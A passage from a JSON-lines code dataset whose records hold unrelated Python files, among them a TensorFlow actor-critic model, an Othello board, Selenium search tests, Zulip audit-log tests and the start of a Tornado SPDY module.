use_relu=True):\n\t''' convolution layer and ReLU activation'''\n\n\tkernel = tf.get_variable(name='W', \n\t\t\t\t\t\t\t shape=kernel_shape, # e.x. [8, 8, 4, 16], \n\t\t\t\t\t\t\t initializer=xavier_init_conv2d)\n\n\tconv = tf.nn.conv2d(x, kernel, stride, padding='SAME')\n\tbias = tf.get_variable(name='b', shape=[kernel_shape[-1]], initializer=const_init)\n\tout = tf.nn.bias_add(conv, bias)\n\n\tif use_relu is True:\n\t\tout = tf.nn.relu(out)\n\n\treturn out\n\ndef ff_op(x, w_shape, use_relu=True):\n\t''' full connection layer'''\n\n\tw = tf.get_variable('W', w_shape, initializer=xavier_init)\n\tb = tf.get_variable('b', w_shape[-1], initializer=const_init)\n\n\tout = tf.matmul(x, w) + b\n\n\tif use_relu is True:\n\t\tout = tf.nn.relu(out)\n\n\treturn out\n\ndef model(x):\n\n\twith tf.variable_scope('conv1') as scope:\n\t\tconv1 = conv_op(x, [8, 8, 4, 16], [1, 8, 8, 1])\n\n\twith tf.variable_scope('conv2') as scope:\n\t\tconv2 = conv_op(conv1, [4, 4, 16, 32], [1, 4, 4, 1])\n\n\twith tf.variable_scope('ff1'):\n\n\t\tshape = conv2.get_shape().as_list()\n\t\tflatten_size = np.prod(shape[1:])\n\t\tconv2_reshape = tf.reshape(conv2, [-1, flatten_size])\n\t\tff1 = ff_op(conv2_reshape, [flatten_size, 256])\n\n\twith tf.variable_scope('pi'):\n\n\t\tpi_logits = ff_op(ff1, [256, Action_num], False)\n\t\tpi_net = tf.nn.softmax(pi_logits)\n\n\twith tf.variable_scope('value'):\n\n\t\tv_net= ff_op(ff1, [256, 1], False)\n\n\treturn pi_net, v_net\n\ndef loss(pi_net, v_net, x, pi_mask, Return, baseline):\n\n\tlog_pi = tf.log(tf.clip_by_value(pi_net, 1e-12, 1.0))\n\tlog_pi_reduction = tf.reduce_sum(tf.mul(log_pi, pi_mask), reduction_indices=1)\n\tpolicy_loss = -tf.reduce_mean(tf.mul(log_pi_reduction, Return - baseline))\n\tpi_entropy_reg = tf.reduce_mean(tf.reduce_sum(tf.mul(pi_net, log_pi), reduction_indices=1))\n\tv_loss = tf.reduce_sum(tf.square(Return-v_net))\n\n\tloss = policy_loss + BETA*pi_entropy_reg + 0.5*v_loss\n\n\treturn loss\n\ndef optimize(loss):\n\n\toptimize = tf.train.AdamOptimizer(learning_rate=lr).minimize(loss, global_step=G)\n\t\n\treturn optimize, lr\n\nclass plhr():\n\n\tx = tf.placeholder(dtype=tf.float32, shape=[None, 84, 84, 4])\n\tpi_mask = tf.placeholder(dtype=tf.float32, shape=[None, Action_num])\n\tReturn = tf.placeholder(dtype=tf.float32, shape=[None, 1])\n\tbaseline = tf.placeholder(dtype=tf.float32, shape=[None, 1])\n\n","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":2595,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"124817432","text":"#!/usr/bin/env python3\r\n#coding: utf-8\r\n\r\n#%matplotlib inline\r\n\r\nfrom __future__ import absolute_import\r\nfrom __future__ import division\r\nfrom __future__ import print_function\r\nimport os\r\nimport sys\r\nimport time\r\nimport tensorflow as tf\r\nimport argparse\r\n\r\nfrom object_util import run_test\r\n\r\n\r\nlabel_text_dir = \"C:\\\\jupyter_work\\lastweek\\\\vgg_16_adverse_small_dataset\"\r\ncheckpoint_dir = \"C:\\\\jupyter_work\\lastweek\\\\vgg_16_adverse_small_dataset\\\\out_log\"\r\ntest_img_dir='C:\\\\jupyter_work\\\\lastweek\\\\vgg_16_adverse_small_dataset\\\\test_img_files'\r\n\r\n\r\ndef parse_args(check=True):\r\n parser = argparse.ArgumentParser()\r\n # train\r\n parser.add_argument('--label_text_dir', type=str,default=label_text_dir)\r\n parser.add_argument('--test_img_dir', type=str, default=test_img_dir)\r\n parser.add_argument('--checkpoint_dir', type=str, default=checkpoint_dir) \r\n parser.add_argument('--loop_max', type=int,default=1)\r\n parser.add_argument('--number_of_classes', type=int,default=5)\r\n parser.add_argument('--alpha', type=float, default=0.3)\r\n parser.add_argument('--sigma', type=float, default=0.6)\r\n parser.add_argument('--area_th', type=float, default=0.05)\r\n parser.add_argument('--prob_th', type=float, default=0.5)\r\n parser.add_argument('--pred_th', type=float, default=0.3) \r\n parser.add_argument('--plt_on', type=bool, default=True)\r\n\r\n FLAGS, unparsed = parser.parse_known_args()\r\n return FLAGS, unparsed\r\n\r\nif __name__ == '__main__':\r\n FLAGS, unparsed = parse_args()\r\n img_with_bbox_batch,img_crf_bbox_batch=run_test(loop_max = FLAGS.loop_max,\\\r\n number_of_classes = FLAGS.number_of_classes,\\\r\n sigma = FLAGS.sigma,\\\r\n alpha = FLAGS.alpha,\\\r\n area_th = FLAGS.area_th,\\\r\n prob_th = FLAGS.prob_th,\\\r\n pred_th = FLAGS.pred_th,\\\r\n plt_on = FLAGS.plt_on,\\\r\n label_text_dir = FLAGS.label_text_dir,\\\r\n checkpoint_dir = FLAGS.checkpoint_dir,\\\r\n test_img_dir = FLAGS.test_img_dir)\r\n\r\n\r\n","sub_path":"object_location.py","file_name":"object_location.py","file_ext":"py","file_size_in_byte":2088,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"191373806","text":"import wx\nimport wx.lib.scrolledpanel as scrolled\n\nfrom databaseutil import databaseutil\n\n\nclass outframe(wx.Frame):\n def __init__(self):\n application = wx.App()\n frame = wx.Frame(None, wx.ID_ANY, '結果を出すためのフレーム', size=(800, 600))\n\n splitter = wx.SplitterWindow(frame, wx.ID_ANY, style = wx.SP_LIVE_UPDATE)\n splitter.SetMinimumPaneSize(20)\n\n left_panel = wx.Panel(splitter, wx.ID_ANY, style = wx.BORDER_NONE)\n panel = scrolled.ScrolledPanel(splitter, wx.ID_ANY, style=wx.BORDER_NONE)\n panel.SetBackgroundColour(wx.WHITE)\n panel.SetupScrolling()\n\n vbox = wx.BoxSizer(wx.VERTICAL)\n\n Horrizontal = wx.BoxSizer(wx.HORIZONTAL)\n vbox.Add(Horrizontal, 0, wx.ALL | wx.EXPAND | wx.ALIGN_CENTER_HORIZONTAL, 0)\n\n button_1 = wx.Button(left_panel, wx.ID_ANY, '結果CSV出力ボタン')\n #button_1.Bind(wx.EVT_BUTTON, self.output_event)\n\n button_2 = wx.Button(left_panel, wx.ID_ANY, '全選択')\n #button_2.Bind(wx.EVT_BUTTON, self.all_select_event)\n\n button_3 = wx.Button(left_panel, wx.ID_ANY, '反選択')\n #button_3.Bind(wx.EVT_BUTTON, self.reselect_event)\n\n button_4 = wx.Button(left_panel, wx.ID_ANY, 'クリア')\n #button_4.Bind(wx.EVT_BUTTON, self.clear_event)\n\n Horrizontal.Add(button_1, wx.EXPAND)\n Horrizontal.Add(button_2, wx.EXPAND)\n Horrizontal.Add(button_3, wx.EXPAND)\n Horrizontal.Add(button_4, wx.EXPAND)\n\n\n self.text_output_path = wx.TextCtrl(left_panel, wx.ID_ANY, style = wx.TE_AUTO_URL)\n\n vbox.Add(self.text_output_path, 1, wx.EXPAND)\n\n #Vertical = wx.BoxSizer(wx.VERTICAL)\n\n #vbox.Add(Vertical, 0, wx.ALL | wx.EXPAND | wx.ALIGN_CENTER_HORIZONTAL,20)\n panel.SetSizer(vbox)\n\n splitter.SplitHorizontally(left_panel, panel)\n frame.Show()\n application.MainLoop()\n\nif __name__ == '__main__':\n app = wx.App()\n outframe=outframe()\n outframe.Show()\n app.MainLoop()\n\n\n\n\n","sub_path":"yi_ming/outputframe.py","file_name":"outputframe.py","file_ext":"py","file_size_in_byte":2024,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"635065499","text":"# 12/02/2019\n#\n# Board Class for testing Othello Game.\n# Support 8x8 weighted AI design.\n\n\nUSER = 0\nCOMPUTER = 1\nEMPTY = 2\nSQUARE = 50\nSTYLE = (\"Arial\", 20, \"normal\")\nFEEDBACK = (\"Invalid\", \"Valid\")\nDIRECT = ((-1, -1), (-1, 0), (-1, 1), (0, -1), (0, 1), (1, -1), (1, 0), (1, 1))\nWEIGHTS = [[4, -3, 2, 2, 2, 2, -3, 4],\n [-3, -4, -1, -1, -1, -1, -4, -3],\n [2, -1, 1, 0, 0, 1, -1, 2],\n [2, -1, 0, 1, 1, 0, -1, 2],\n [2, -1, 0, 1, 1, 0, -1, 2],\n [2, -1, 1, 0, 0, 1, -1, 2],\n [-3, -4, -1, -1, -1, -1, -4, -3],\n [4, -3, 2, 2, 2, 2, -3, 4]]\n\n\nclass Board:\n\n # PURPOSE\n # Constructor for the Board class. size should be an even integer.\n # SIGNATURE\n # __init__ :: Board, Integer => Board\n def __init__(self, size, user):\n\n self.size = size\n self.high_bound = SQUARE * size / 2\n self.low_bound = 0 - self.high_bound\n self.player = USER\n self.matrix = [[EMPTY] * size for x in range(size)]\n self.score = [0, 0]\n self.role_lst = [user, \"Computer\"]\n\n # PURPOSE\n # Return the center coordinates of a square on the board.\n # SIGNATURE\n # get_center :: Board, Integer, Integer => (Float, Float)\n def get_center(self, col, row):\n\n x = col * SQUARE + SQUARE + self.low_bound\n y = (row * SQUARE + SQUARE / 2) + self.low_bound\n return (x, y)\n\n # PURPOSE\n # Draw a tile of a given color in a given square on the board.\n # SIGNATURE\n # draw_piece :: Board, Integer, Integer, String => None\n def draw_piece(self, col, row, role):\n\n cur = self.get_m(col, row)\n if cur != role:\n opp = int(role == USER)\n if cur == opp:\n self.score[opp] -= 1\n self.score[role] += 1\n self.set_m(col, row, role)\n\n # PURPOSE\n # Draws the 4 starting pieces on the board.\n # SIGNATURE\n # start_pieces :: Board => None\n def start_pieces(self):\n\n center_small = self.size // 2 - 1\n center_large = self.size // 2\n # Puts the start pieces in position\n self.draw_piece(center_small, center_large, COMPUTER)\n self.draw_piece(center_large, center_small, COMPUTER)\n self.draw_piece(center_large, center_large, USER)\n self.draw_piece(center_small, center_small, USER)\n\n # PURPOSE\n # Return and determine validity of given coordinate within board.\n # SIGNATURE\n # bound :: Board, Int, Int => Boolean\n def bound(self, x, y):\n\n return 0 <= x < self.size and 0 <= y < self.size\n\n # PURPOSE\n # Return and determine whether the chosen position can capture\n # opponent's piece, by surrounding opponent with self piece.\n # SIGNATURE\n # capture :: Board, Int, Int => Boolean\n def capture(self, x, y):\n\n flipped = False\n if self.bound(x, y) and self.get_m(x, y) == EMPTY:\n opp = int(self.player == USER)\n for i, j in DIRECT:\n dx, dy = x + i, y + j\n if self.bound(dx, dy) and self.get_m(dx, dy) == opp:\n flip_s = set()\n flip_s.add((x, y))\n while self.bound(dx, dy):\n btw = self.get_m(dx, dy)\n if btw == self.player:\n self.flip(flip_s)\n flipped = True\n break\n elif btw == EMPTY:\n break\n else:\n flip_s.add((dx, dy))\n dx, dy = dx + i, dy + j\n return flipped\n\n # PURPOSE\n # Flip the given set piece into another color.\n # SIGNATURE\n # flip :: Board, Set => None\n def flip(self, flip_s):\n\n opp = int(self.player == USER)\n for i, j in flip_s:\n cur = self.get_m(i, j)\n if cur != self.player:\n self.draw_piece(i, j, self.player)\n\n # PURPOSE\n # Return and get board value at the given position.\n # SIGNATURE\n # get_m :: Board, Int, Int => Int\n def get_m(self, x, y):\n\n return self.matrix[self.size - 1 - y][x]\n\n # PURPOSE\n # Set board value at the given position.\n # SIGNATURE\n # set_m :: Board, Int, Int => None\n def set_m(self, x, y, val):\n\n self.matrix[self.size - 1 - y][x] = val\n\n # PURPOSE\n # Return and get a sorted list of empty spaces on the board,\n # sort by weights descendingly.\n # SIGNATURE\n # get_empty :: Board => List\n def get_empty(self):\n\n emp = []\n for i in range(self.size):\n for j in range(self.size):\n if self.get_m(i, j) == EMPTY:\n emp.append((WEIGHTS[i][j], i, j))\n emp.sort(reverse=True)\n return emp\n\n # PURPOSE\n # Display game result on board graph.\n # i.e. black or white or tie.\n # SIGNATURE\n # get_winner :: Board => String\n def get_winner(self):\n\n win = \"TIE\"\n if self.score[0] < self.score[1]:\n win = self.role_lst[1]\n elif self.score[0] > self.score[1]:\n win = self.role_lst[0]\n else:\n return win\n return \"Winner is {}!\".format(win)\n\n # PURPOSE\n # Draws the board.\n # SIGNATURE\n # draw_board :: Board => None\n def draw_board(self):\n\n NUM_SIDES = 4\n RIGHT_ANGLE = 90\n\n # Draw the 4 start pieces\n self.start_pieces()\n\n # PURPOSE\n # Return a string, represent the board in matrix string.\n # SIGNATURE\n # to_string :: Board => String\n def to_string(self):\n\n size = len(self.matrix)\n s = \"\"\n for i in range(size):\n s += str(size - 1 - i) + \" \" + \\\n \",\".join([str(j) for j in self.matrix[i]]) + \"\\n\"\n s += \" \" + \" \".join([str(i % 10) for i in range(size)]) + \"\\n\"\n return s\n\n # PURPOSE\n # Return and get a Dict of legal moves on the board,\n # for both user and computer players.\n # SIGNATURE\n # move_legal :: Board => Dict\n def move_legal(self):\n\n res = {}\n emp = self.get_empty()\n for w, x, y in emp:\n if len(res) > 1:\n break\n for i, j in DIRECT:\n if len(res) > 1:\n break\n dx, dy = x + i, y + j\n if self.bound(dx, dy):\n opp = self.get_m(dx, dy)\n if opp == EMPTY:\n continue\n cur = int(opp == USER)\n if cur in res:\n continue\n dx, dy = dx + i, dy + j\n while self.bound(dx, dy):\n btw = self.get_m(dx, dy)\n if btw == cur:\n res[cur] = (x, y)\n break\n elif btw == EMPTY:\n break\n dx, dy = dx + i, dy + j\n return res\n","sub_path":"Othello/board_for_test.py","file_name":"board_for_test.py","file_ext":"py","file_size_in_byte":6987,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"400377688","text":"#!/usr/bin/env python2.5\n\nimport sys\n\nfrom line_consumers import try_consume, NodeConsumer, CouponConsumer\nfrom line_producers import PRReduceProducer\n\nif __name__=='__main__':\n\n # define list of line consumers for each type of input line we can receive\n nc, cc = NodeConsumer(), CouponConsumer()\n consumers = [cc, nc]\n\n # iterate over input, consuming lines as we go\n for line in sys.stdin:\n if not try_consume(consumers, line):\n # raise an exception if no consumer wants the line\n raise Exception(\"Line wasn't consumed at all!!:\\n\"+line)\n \n # now that we've parsed the lines, emit output tuples\n PRReduceProducer(nc,cc).produce()\n","sub_path":"code/pagerank_reduce.py","file_name":"pagerank_reduce.py","file_ext":"py","file_size_in_byte":686,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"251785176","text":"import unittest\nfrom selenium import webdriver\nfrom selenium.webdriver.common.keys import Keys\nimport time\nimport random\n\nclass GoogleTestCase(unittest.TestCase):\n\n def setUp(self):\n # on linux make sure chromedriver is in /usr/bin\n self.browser = webdriver.Chrome()\n self.addCleanup(self.browser.quit)\n\n def testPageSearch(self):\n self.browser.get('http://google.pl')\n search_field = self.browser.find_element_by_name('q')\n search_field.send_keys('programa.pl' + Keys.RETURN)\n time.sleep(3)\n match = self.browser.find_element_by_partial_link_text(\n 'Programa.pl: Dedykowane systemy informatyczne'\n )\n self.assertTrue(match)\n\n def testPageCalcRandom(self):\n self.browser.get('http://google.pl')\n search_field = self.browser.find_element_by_name('q')\n a = random.randrange(10)\n b = random.randrange(10)\n x = random.choice('+-*/')\n operation = '{}{}{}'.format(a, x, b)\n result = eval(operation)\n search_field.send_keys(operation + Keys.RETURN)\n time.sleep(3)\n google_result = self.browser.find_element_by_id('cwos')\n self.assertEqual(\n format(float(result), '.2f'), \n format(float(google_result.text), '.2f')\n )\n\n def testPageCalc(self):\n self.browser.get('http://google.pl')\n search_field = self.browser.find_element_by_name('q')\n operations = ['2+2', '3*5', '0/2', '7/3']\n for operation in operations:\n search_field.clear()\n search_field.send_keys(operation + Keys.RETURN)\n time.sleep(3)\n google_result = self.browser.find_element_by_id('cwos')\n self.assertEqual(\n format(float(eval(operation)), '.2f'), \n format(float(google_result.text), '.2f')\n )\n\nif __name__ == '__main__':\n unittest.main(verbosity=2)\n\n","sub_path":"tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":1933,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"28043306","text":"import actionlib\nimport rospy\nimport tf\n\nfrom agent.abstract_action import AbstractAction\nfrom agent.util.enuns import LogColor\n\nfrom hera.msg import poseFeedback, poseResult, poseAction, poseGoal\n\nfrom geometry_msgs.msg import PoseWithCovarianceStamped\n\nclass Pose(AbstractAction):\n \"\"\"docstring for Pose.\"\"\"\n def __init__(self, robot):\n super(Pose, self).__init__(robot)\n self.robot_ns = rospy.get_namespace()\n\n self._as = actionlib.SimpleActionServer(\"pose\", poseAction, self.goal_callback, False)\n self._as.start()\n\n self.tf_listener = tf.TransformListener()\n\n def goal_callback(self, goal):\n result = self.execute(goal.location)\n self._as.set_succeeded(poseResult(result=result))\n\n def execute(self, location):\n self.robot.add_log('Pose', location, color=LogColor.YELLOW)\n\n # get location tf\n (trans, rot) = self.tf_listener.lookupTransform('/map', location, rospy.Time(0))\n\n # create pose\n pose = PoseWithCovarianceStamped()\n pose.header.frame_id = 'map'\n pose.header.stamp = rospy.Time.now()\n pose.pose.pose.position.x = trans[0]\n pose.pose.pose.position.y = trans[1]\n pose.pose.pose.orientation.z = rot[2]\n pose.pose.pose.orientation.w = rot[3]\n\n # set pose\n self.robot.get_actuators().pose(pose)\n\n return 'success'\n","sub_path":"action_files/pose.py","file_name":"pose.py","file_ext":"py","file_size_in_byte":1383,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"564626430","text":"from datetime import timedelta\nfrom typing import Any, Dict\n\nimport ujson\nfrom django.contrib.auth.password_validation import validate_password\nfrom django.utils.timezone import now as timezone_now\n\nfrom analytics.models import StreamCount\nfrom zerver.lib.actions import (\n bulk_add_subscriptions,\n bulk_remove_subscriptions,\n do_activate_user,\n do_change_avatar_fields,\n do_change_bot_owner,\n do_change_password,\n do_change_tos_version,\n do_change_user_delivery_email,\n do_change_user_role,\n do_create_user,\n do_deactivate_realm,\n do_deactivate_user,\n do_reactivate_realm,\n do_reactivate_user,\n do_regenerate_api_key,\n get_streams_traffic,\n)\nfrom zerver.lib.test_classes import ZulipTestCase\nfrom zerver.models import RealmAuditLog, UserProfile, get_client, get_realm\n\n\nclass TestRealmAuditLog(ZulipTestCase):\n def check_role_count_schema(self, role_counts: Dict[str, Any]) -> None:\n for key in [UserProfile.ROLE_REALM_ADMINISTRATOR,\n UserProfile.ROLE_MEMBER,\n UserProfile.ROLE_GUEST,\n UserProfile.ROLE_REALM_OWNER]:\n # str(key) since json keys are always strings, and ujson.dumps will have converted\n # the UserProfile.role values into strings\n self.assertTrue(isinstance(role_counts[RealmAuditLog.ROLE_COUNT_HUMANS][str(key)], int))\n self.assertTrue(isinstance(role_counts[RealmAuditLog.ROLE_COUNT_BOTS], int))\n\n def test_user_activation(self) -> None:\n realm = get_realm('zulip')\n now = timezone_now()\n user = do_create_user('email', 'password', realm, 'full_name', 'short_name')\n do_deactivate_user(user)\n do_activate_user(user)\n do_deactivate_user(user)\n do_reactivate_user(user)\n self.assertEqual(RealmAuditLog.objects.filter(event_time__gte=now).count(), 5)\n event_types = list(RealmAuditLog.objects.filter(\n realm=realm, acting_user=None, modified_user=user, modified_stream=None,\n event_time__gte=now, event_time__lte=now+timedelta(minutes=60))\n .order_by('event_time').values_list('event_type', flat=True))\n self.assertEqual(event_types, [RealmAuditLog.USER_CREATED, RealmAuditLog.USER_DEACTIVATED,\n RealmAuditLog.USER_ACTIVATED, RealmAuditLog.USER_DEACTIVATED,\n RealmAuditLog.USER_REACTIVATED])\n for event in RealmAuditLog.objects.filter(\n realm=realm, acting_user=None, modified_user=user, modified_stream=None,\n event_time__gte=now, event_time__lte=now+timedelta(minutes=60)):\n extra_data = ujson.loads(event.extra_data)\n self.check_role_count_schema(extra_data[RealmAuditLog.ROLE_COUNT])\n self.assertNotIn(RealmAuditLog.OLD_VALUE, extra_data)\n\n def test_change_role(self) -> None:\n realm = get_realm('zulip')\n now = timezone_now()\n user_profile = self.example_user(\"hamlet\")\n do_change_user_role(user_profile, UserProfile.ROLE_REALM_ADMINISTRATOR)\n do_change_user_role(user_profile, UserProfile.ROLE_MEMBER)\n do_change_user_role(user_profile, UserProfile.ROLE_GUEST)\n do_change_user_role(user_profile, UserProfile.ROLE_MEMBER)\n do_change_user_role(user_profile, UserProfile.ROLE_REALM_OWNER)\n do_change_user_role(user_profile, UserProfile.ROLE_MEMBER)\n old_values_seen = set()\n new_values_seen = set()\n for event in RealmAuditLog.objects.filter(\n event_type=RealmAuditLog.USER_ROLE_CHANGED,\n realm=realm, modified_user=user_profile,\n event_time__gte=now, event_time__lte=now+timedelta(minutes=60)):\n extra_data = ujson.loads(event.extra_data)\n self.check_role_count_schema(extra_data[RealmAuditLog.ROLE_COUNT])\n self.assertIn(RealmAuditLog.OLD_VALUE, extra_data)\n self.assertIn(RealmAuditLog.NEW_VALUE, extra_data)\n old_values_seen.add(extra_data[RealmAuditLog.OLD_VALUE])\n new_values_seen.add(extra_data[RealmAuditLog.NEW_VALUE])\n self.assertEqual(old_values_seen, {UserProfile.ROLE_GUEST, UserProfile.ROLE_MEMBER,\n UserProfile.ROLE_REALM_ADMINISTRATOR,\n UserProfile.ROLE_REALM_OWNER})\n self.assertEqual(old_values_seen, new_values_seen)\n\n def test_change_password(self) -> None:\n now = timezone_now()\n user = self.example_user('hamlet')\n password = 'test1'\n do_change_password(user, password)\n self.assertEqual(RealmAuditLog.objects.filter(event_type=RealmAuditLog.USER_PASSWORD_CHANGED,\n event_time__gte=now).count(), 1)\n self.assertIsNone(validate_password(password, user))\n\n def test_change_email(self) -> None:\n now = timezone_now()\n user = self.example_user('hamlet')\n new_email = 'test@example.com'\n do_change_user_delivery_email(user, new_email)\n self.assertEqual(RealmAuditLog.objects.filter(event_type=RealmAuditLog.USER_EMAIL_CHANGED,\n event_time__gte=now).count(), 1)\n self.assertEqual(new_email, user.delivery_email)\n\n # Test the RealmAuditLog stringification\n audit_entry = RealmAuditLog.objects.get(event_type=RealmAuditLog.USER_EMAIL_CHANGED, event_time__gte=now)\n self.assertTrue(str(audit_entry).startswith(f\" {RealmAuditLog.USER_EMAIL_CHANGED} \"))\n\n def test_change_avatar_source(self) -> None:\n now = timezone_now()\n user = self.example_user('hamlet')\n avatar_source = 'G'\n do_change_avatar_fields(user, avatar_source)\n self.assertEqual(RealmAuditLog.objects.filter(event_type=RealmAuditLog.USER_AVATAR_SOURCE_CHANGED,\n event_time__gte=now).count(), 1)\n self.assertEqual(avatar_source, user.avatar_source)\n\n def test_change_full_name(self) -> None:\n start = timezone_now()\n new_name = 'George Hamletovich'\n self.login('iago')\n req = dict(full_name=ujson.dumps(new_name))\n result = self.client_patch('/json/users/{}'.format(self.example_user(\"hamlet\").id), req)\n self.assertTrue(result.status_code == 200)\n query = RealmAuditLog.objects.filter(event_type=RealmAuditLog.USER_FULL_NAME_CHANGED,\n event_time__gte=start)\n self.assertEqual(query.count(), 1)\n\n def test_change_tos_version(self) -> None:\n now = timezone_now()\n user = self.example_user(\"hamlet\")\n tos_version = 'android'\n do_change_tos_version(user, tos_version)\n self.assertEqual(RealmAuditLog.objects.filter(event_type=RealmAuditLog.USER_TOS_VERSION_CHANGED,\n event_time__gte=now).count(), 1)\n self.assertEqual(tos_version, user.tos_version)\n\n def test_change_bot_owner(self) -> None:\n now = timezone_now()\n admin = self.example_user('iago')\n bot = self.notification_bot()\n bot_owner = self.example_user('hamlet')\n do_change_bot_owner(bot, bot_owner, admin)\n self.assertEqual(RealmAuditLog.objects.filter(event_type=RealmAuditLog.USER_BOT_OWNER_CHANGED,\n event_time__gte=now).count(), 1)\n self.assertEqual(bot_owner, bot.bot_owner)\n\n def test_regenerate_api_key(self) -> None:\n now = timezone_now()\n user = self.example_user('hamlet')\n do_regenerate_api_key(user, user)\n self.assertEqual(RealmAuditLog.objects.filter(event_type=RealmAuditLog.USER_API_KEY_CHANGED,\n event_time__gte=now).count(), 1)\n self.assertTrue(user.api_key)\n\n def test_get_streams_traffic(self) -> None:\n realm = get_realm('zulip')\n stream_name = 'whatever'\n stream = self.make_stream(stream_name, realm)\n stream_ids = {stream.id}\n\n result = get_streams_traffic(stream_ids)\n self.assertEqual(result, {})\n\n StreamCount.objects.create(\n realm=realm,\n stream=stream,\n property='messages_in_stream:is_bot:day',\n end_time=timezone_now(),\n value=999,\n )\n\n result = get_streams_traffic(stream_ids)\n self.assertEqual(result, {stream.id: 999})\n\n def test_subscriptions(self) -> None:\n now = timezone_now()\n user = [self.example_user('hamlet')]\n stream = [self.make_stream('test_stream')]\n\n bulk_add_subscriptions(stream, user)\n subscription_creation_logs = RealmAuditLog.objects.filter(event_type=RealmAuditLog.SUBSCRIPTION_CREATED,\n event_time__gte=now)\n self.assertEqual(subscription_creation_logs.count(), 1)\n self.assertEqual(subscription_creation_logs[0].modified_stream.id, stream[0].id)\n self.assertEqual(subscription_creation_logs[0].modified_user, user[0])\n\n bulk_remove_subscriptions(user, stream, get_client(\"website\"))\n subscription_deactivation_logs = RealmAuditLog.objects.filter(event_type=RealmAuditLog.SUBSCRIPTION_DEACTIVATED,\n event_time__gte=now)\n self.assertEqual(subscription_deactivation_logs.count(), 1)\n self.assertEqual(subscription_deactivation_logs[0].modified_stream.id, stream[0].id)\n self.assertEqual(subscription_deactivation_logs[0].modified_user, user[0])\n\n def test_realm_activation(self) -> None:\n realm = get_realm('zulip')\n do_deactivate_realm(realm)\n log_entry = RealmAuditLog.objects.get(realm=realm, event_type=RealmAuditLog.REALM_DEACTIVATED)\n extra_data = ujson.loads(log_entry.extra_data)\n self.check_role_count_schema(extra_data[RealmAuditLog.ROLE_COUNT])\n\n do_reactivate_realm(realm)\n log_entry = RealmAuditLog.objects.get(realm=realm, event_type=RealmAuditLog.REALM_REACTIVATED)\n extra_data = ujson.loads(log_entry.extra_data)\n self.check_role_count_schema(extra_data[RealmAuditLog.ROLE_COUNT])\n","sub_path":"zerver/tests/test_audit_log.py","file_name":"test_audit_log.py","file_ext":"py","file_size_in_byte":10394,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"422384230","text":"#!/usr/bin/env python\n#\n# Copyright 2011 Facebook\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\n\"\"\"\n\nSPDY protocol utility code.\n\n\n1. SPDY Protocol - Draft 2\n http://www.chromium.org/spdy/spdy-protocol/spdy-protocol-draft2\n\n2. SPDY Protocol - Draft 3\n http://www.chromium.org/spdy/spdy-protocol/spdy-protocol-draft3\n\"\"\"\nimport sys\nimport os\nimport logging\nimport socket\nimport time\nimport ssl\nimport random\nimport base64\nimport numbers\nimport functools\nfrom struct import pack, unpack\n\nfrom tornado.httputil import HTTPHeaders, parse_body_arguments\nfrom tornado.httpserver import HTTPServer, HTTPRequest, HTTPConnection\nfrom tornado.iostream import StreamClosedError\nfrom tornado.ioloop import IOLoop\nfrom tornado.util import bytes_type\n\ntry:\n from tornado._zlib_stream import Inflater, Deflater\nexcept ImportError:\n from tornado.c_zlib import Compressor, Decompressor\n\n class Deflater(Compressor):\n def __init__(self, version, level):\n Compressor.__init__(self, level, HEADER_ZLIB_DICT_2 if version == 2 else HEADER_ZLIB_DICT_3)\n\n def compress(self, chunk):\n return self.__call__(chunk)\n\n class Inflater(Decompressor):\n def __init__(self, version):\n Decompressor.__init__(self, HEADER_ZLIB_DICT_2 if version == 2 else HEADER_ZLIB_DICT_3)\n\n def decompress(self, chunk):\n return self.__call__(chunk)\n\nis_py3k = sys.version_info[0] >= 3\nis_py33 = sys.version_info[0] >= 3 and sys.version_info[1] >= 3\n\nif is_py3k:\n def _ord(b):\n return b\nelse:\n _ord = ord\n\nspdy_log = logging.getLogger(\"tornado.spdy\")\n\nSPDY_VERSION_AUTO = 0\nSPDY_VERSION_2 = 2\nSPDY_VERSION_3 = 3\n\nPROTO_HTTP = 'http/1.1'\nPROTO_SPDY_2 = 'spdy/2'\nPROTO_SPDY_3 = 'spdy/3'\nPROTO_SUPPORTS = [PROTO_HTTP, PROTO_SPDY_2, PROTO_SPDY_3]\n\nDEFAULT_HEADER_ENCODING = 'UTF-8'\nDEFAULT_HEADER_COMPRESS_LEVEL = -1\n\nFRAME_HEADER_LEN = 8\n\n# Note that full length control frames (16MB) can be large for implementations running on resource-limited hardware.\n# In such cases, implementations MAY limit the maximum length frame supported. However,\n# all implementations MUST be able to receive control frames of at least 8192 octets in length.\nMAX_FRAME_LEN = 16 * 1024 * 1024\nMIN_FRAME_LEN = 8 * 1024\n\nTYPE_SYN_STREAM = 1\nTYPE_SYN_REPLY = 2\nTYPE_RST_STREAM = 3\nTYPE_SETTINGS = 4\nTYPE_NOOP = 5\nTYPE_PING = 6\nTYPE_GOAWAY = 7\nTYPE_HEADERS = 8\nTYPE_WINDOW_UPDATE = 9\nTYPE_CREDENTIAL = 10\n\nPRI_LOWEST = 'lowest'\nPRI_LOW = 'low'\nPRI_HIGH = 'high'\nPRI_HIGHEST = 'highest'\n\nPRIORITIES = {\n 2: {\n PRI_LOWEST: 0,\n PRI_LOW: 1,\n PRI_HIGH: 2,\n PRI_HIGHEST: 3\n },\n 3: {\n PRI_LOWEST: 0,\n PRI_LOW: 3,\n PRI_HIGH: 5,\n 